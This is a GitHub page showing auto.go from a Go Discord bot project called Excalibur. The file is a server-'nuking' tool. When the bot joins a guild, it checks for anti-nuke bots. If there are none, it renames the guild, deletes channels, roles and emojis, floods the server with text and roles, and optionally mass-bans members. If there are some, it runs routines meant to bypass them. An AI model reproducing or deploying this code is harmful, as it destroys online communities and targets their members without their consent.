-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathauto.go
More file actions
137 lines (109 loc) · 2.28 KB
/
auto.go
File metadata and controls
137 lines (109 loc) · 2.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
package main
import (
"Excalibur/core/bypass"
"Excalibur/core/creating"
"Excalibur/core/removing"
"Excalibur/core/requests"
"Excalibur/core/start_end"
"fmt"
"log"
"os"
"strconv"
"sync"
"time"
"github.com/bwmarrin/discordgo"
"github.com/joho/godotenv"
)
var (
queue = make(chan string, 100)
mutex = &sync.Mutex{}
botList = []string{"Security", "Wick"}
CountBot int
)
func onGuildCreate(s *discordgo.Session, event *discordgo.GuildCreate) {
godotenv.Load()
MASS_BAN := os.Getenv("MASS_BAN")
MASSBAN, _ := strconv.ParseBool(MASS_BAN)
var wg sync.WaitGroup
queue <- event.ID
requests.HandleQueue(s)
mutex.Lock()
defer mutex.Unlock()
botNicknames, err := bypass.GetBotNicks(s, event.ID)
if err != nil {
log.Fatal(err)
}
for _, nickname := range botNicknames {
for _, botID := range botList {
if nickname == botID {
fmt.Println("Found ", nickname)
CountBot++
}
}
}
if CountBot == 0 {
fmt.Println("There's no any antinuke bots")
start_end.Logs(s, event)
creating.GuildRename(s, event)
wg.Add(1)
go func() {
defer wg.Done()
channels, _ := s.GuildChannels(event.ID)
creating.DeleteChannels(s, channels)
}()
wg.Wait()
start_end.InviteCreate(s, event)
for i := 0; i < 50; i++ {
wg.Add(1)
go func() {
defer wg.Done()
creating.TextSpam(s, event, &wg)
}()
}
wg.Wait()
wg.Add(1)
go func() {
defer wg.Done()
creating.DeleteRoles(s, event)
}()
wg.Wait()
creating.EditRoles(s, event)
bypass.PhoneLock(event)
for i := 0; i < 40; i++ {
wg.Add(1)
go func() {
defer wg.Done()
creating.RolesSpam(s, event)
}()
}
wg.Wait()
if MASSBAN {
wg.Add(1)
go func() {
defer wg.Done()
removing.MemberBan(s, event)
}()
wg.Wait()
} else {
fmt.Println("MASS_BAN not set or true, no mass ban initiated.")
}
removing.EmojiDelete(s, event)
start_end.Leave(s, event)
} else {
fmt.Println("There's ", CountBot, " antinuke bot(s) on the server.")
start_end.Logs(s, event)
bypass.PhoneLock(event)
for i := 0; i < 50; i++ {
wg.Add(1)
go func() {
defer wg.Done()
bypass.BypassCommunity(s, event, &wg)
}()
}
time.Sleep(2 * time.Second)
bypass.BypassSpam(s, event, &wg)
start_end.LogsAlert(s, event)
start_end.Leave(s, event)
}
CountBot = 0
}